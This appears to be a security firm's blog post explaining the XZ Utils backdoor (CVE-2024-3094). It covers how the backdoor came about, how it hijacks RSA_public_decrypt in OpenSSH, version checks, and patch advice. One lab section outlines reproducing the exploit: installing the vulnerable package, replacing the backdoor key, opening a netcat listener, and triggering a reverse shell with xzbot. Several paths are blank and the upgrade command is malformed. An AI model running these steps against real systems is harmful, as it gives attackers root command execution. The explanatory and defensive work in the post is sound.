XZ Utils: the backdoor shaking the free world and cybersecurity

🕶️ New and scandalous backdoor in XZ Utils on Linux


On March 29, 2024, a major security flaw was discovered in XZ Utils, a package widely used in popular Linux distributions. This flaw, known as CVE-2024-3094, allows attackers to execute code remotely on affected systems.


CVE-2024-3094 introduces a backdoor into the OpenSSH server, allowing attackers in possession of a UNIQUE private key to launch commands before the authentication step.

  • This backdoor cannot be used without possessing the proper private key.
  • The proper private key is not public.
  • It allows commands to be executed as root user.
  • A patch is available.


The origin

The origin of this flaw comes from an individual named Jia Tan who joined the XZ Utils project in 2022. Over time, he gained the trust of other contributors and obtained increasingly significant permissions, allowing him to release new versions of the software.

It was in versions 5.6.0 and 5.6.1 of XZ Utils that Jia Tan introduced a backdoor, malicious code capable of taking control of affected systems. This code, absent from the public repository of the project, was added only in the compressed source code versions available for download by users on GitHub.

The operation of the backdoor is highly complex and relies on several techniques to evade detection. Notably, it uses specific compiler functions, hidden files, and scripts executed during the compilation of the XZ Utils library.

🎯 Its ultimate goal is to replace a function of the SSH library, allowing attackers to connect to the system without authentication and execute any command.

Technical Details

The technicality of the backdoor is fascinating and uses a clever system to bypass authentication:

  1. The malicious functionalities are primarily located in the file /usr/lib/
  2. The payload hijacks the RSA_public_decrypt function used for signature verification.
  3. The malicious code then examines the public RSA module (modulo n) transmitted in the RSA structure (4th argument of RSA_public_decrypt). This value is communicated by the attacker during SSH authentication.
  4. The backdoor decrypts and verifies the signature using a public ED448 key (below)
0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48
10 0c b0 6c 3a be 14 ee 89 55 d2 45 00 c7 7f 6e
20 d3 2c 60 2b 2c 6d 31 00
  1. Only the attacker possesses the private key linked to this public key.
  2. If the signature is valid, the command sent by the attacker is passed into system() and executed as root.
More Info!
If you want more technical details, you can check out the excellent article at


So, the big question! Is it easily exploitable? The answer is NO.


To start, you can use the command below to check if you are vulnerable:

strings \`which xz\` | grep '5\\.6\\.[01]'

xz (XZ Utils) 5.6.1

Here’s another command that confirms your vulnerability:

strings \`which xz\` | grep '5\\.6\\.[01]'

xz (XZ Utils) 5.6.1

In another case, a healthy machine will return nothing.

strings \`which xz\` | grep '5\\.6\\.[01]'

Step by Step

The exploitation is not very complex. However, it’s important to keep in mind that mass exploitation is not possible because you do not know the attacker’s private key.

In our lab, we will modify the attacker’s public key with ours to ensure the correct signature.

To begin, it’s necessary to install the vulnerable version on the machine to be exploited.

sudo apt remove xz-utils
dpkg -i liblzma5_5.6.1-1_amd64.deb 


Verify that you are indeed vulnerable with the command:

xz -V                                

xz (XZ Utils) 5.6.1
liblzma 5.6.1

Locate and modify the backdoor signature:

sudo find / -name "" 2> /dev/null

# /usr/lib/x86_64-linux-gnu/
shasum -a 256 /usr/lib/x86_64-linux-gnu/

# 605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4  /usr/lib/x86_64-linux-gnu/
More Info!
If you need help with this step:



Start the SSH service:

sudo systemctl start ssh


Build the PoC binary and open a netcat listener.

go build .

# Other terminal
nc -lvp 4444


Trigger the backdoor with the command xzbot -addr -cmd '<command>'. The example below triggers the execution of a reverse shell.


Finally, some articles mention the presence of a KillSwitch via the environment variable yolAbejyiejuvnup=Evjtgvsh5okmkAvj. This seems to have no effect 🤔



🤔 Is there a risk to my company?

Yes, but quite low!

As mentioned in the article above, it’s not possible to use the backdoor without having the private key. Only the attacker who originated the backdoor is capable of using it.

However, to date, we do not know who the actual actor behind this malicious code is. Out of caution, it is therefore strongly advised to patch your instances.


The fix is quite simple. There are 2 solutions:

  • Upgrade to version 5.6.1-r2.
  • Downgrade to version 5.4.6.

Generic update example on a Debian system:

sudo apt update && sudo apt-dist upgrade -y


A short demonstration below to present the exploitation of the vulnerability on a vulnerable virgin machine.

In Conclusion

The backdoor attack in XZ Utils is a striking example of the dangers associated with free software. Trust in contributors is essential, but it should not prevent the implementation of security measures to prevent such incidents.

In the case of the XZ Utils attack, regular penetration testing could have detected the backdoor at an early stage.

  • Source code analysis: auditors could have analyzed the source code of XZ Utils to identify anomalies or potential vulnerabilities.
  • Penetration testing: comprehensive penetration tests could have been carried out to identify other security flaws in the system.

Trackflaw is ready to assist you with these crucial steps, get in touch with us! 👋